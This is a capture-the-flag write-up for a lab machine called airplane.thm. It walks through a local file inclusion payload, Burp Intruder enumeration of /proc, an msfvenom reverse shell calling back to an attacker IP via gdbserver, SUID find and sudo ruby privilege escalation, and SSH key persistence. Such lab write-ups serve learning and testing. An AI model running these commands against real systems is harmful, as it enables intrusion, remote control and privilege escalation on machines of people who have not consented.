• Enumeration
• Port Scans
• nmap - TCP All ports scan
• Port 8000 - HTTP
• Port 6048 - Unknown?!?
• First Flag
• Second Flag

Enumeration

Port Scans

nmap - TCP All ports scan

Port 8000 - HTTP

Visiting the HTTP Service on port 8000 redirects to http://airplane.thm:8000/?page=index.html and we can see a parameter that is worth enumerating.

A quick check shows us that we have a Local File Inclusion (LFI) vulnerability.

curl http://airplane.thm:8000/?page=../../../../etc/hosts

Port 6048 - Unknown?!?

nmap results show us that port 6048 could be x11 but it seems uncertain. We can check this by using the previously found LFI vulnerability to check all running processes and see if we can identify what is running on port 6048.

Right click on the initial request to the http service in BurpSuite and select Send to Intruder.

Select Clear to clear the current payload.

Set the parameter to be ../../../../proc/x/cmdline.

Highlight the x in the new parameter and click on Add. To have it updated as below.

Select the Payloads tab. Then change the Payload type to be Numbers. Set From to be 1 then To to be 10000 and Step to be 1. Then click on Start attack.

When the attack is running click on Length to sort by descending length. To have the responses with actual results displayed at the top.

If you scroll down until you see results with a length of 410. You should see one of them show with the result /usr/bin/gdbserver0.0.0.0:6048. Indicating that it could be a gdbserver running on port 6048.

First Flag

A quick Google search brings us this.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver

First we create a reverse shell.

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.4.25.196 LPORT=443 PrependFork=true -f elf -o binary.elf

Make the file executable.

chmod +x binary.elf

Using gdb open the file.

gdb binary.elf

Set remote debugger target.

target extended-remote airplane.thm:6048

Attempting to place the binary as shown in the guide seems to fail due to write permissions.

remote put binary.elf binary.elf

However we can simply modify the destination path at put the file in the /tmp directory.

remote put binary.elf /tmp/binary.elf

Set the remote executable file.

set remote exec-file /tmp/binary.elf

Ensure netcat is running.

nc -lvnp 443

Run the payload. Select the option y to Start it from the beginning.

run
y

You should then receive the first shell as the user hudson.

whoami

There is no flag in this users home directory so we need to get access to another users account and find the user flag.

Quick enumeration of SUID files shows us that the /usr/bin/find allows us to run it as the user carlos.

find / -perm -4000 2>/dev/null
ls -al /usr/bin/find

We can then leverage this to gain a shell as the user carlos and view the first flag.

/usr/bin/find . -exec /bin/bash -p \; -quit
whoami
cat /home/carlos/user.txt

Second Flag

Firstly we update our shell by adding our public key to the the /home/carlos/.ssh/authorized_keys file so we can ssh into a nice clean shell.

echo '~/.ssh/id_rsa.pub goes here!!!' > /home/carlos/.ssh/authorized_keys

We can now ssh as carlos. Viewing sudo permissions shows us that we can run the command /usr/bin/ruby /root/*.rb as the root user.

ssh carlos@airplane.thm
sudo -l

We can abuse this by firstly creating a ruby file with the ruby SUDO privesc from GTFOBins. Then abusing the wildcard by jumping back into the users directory and executing our own Ruby script.

https://gtfobins.github.io/gtfobins/ruby/

echo 'exec "/bin/sh"' > privesc.rb
sudo /usr/bin/ruby /root/../home/carlos/privesc.rb
cat /root/root.txt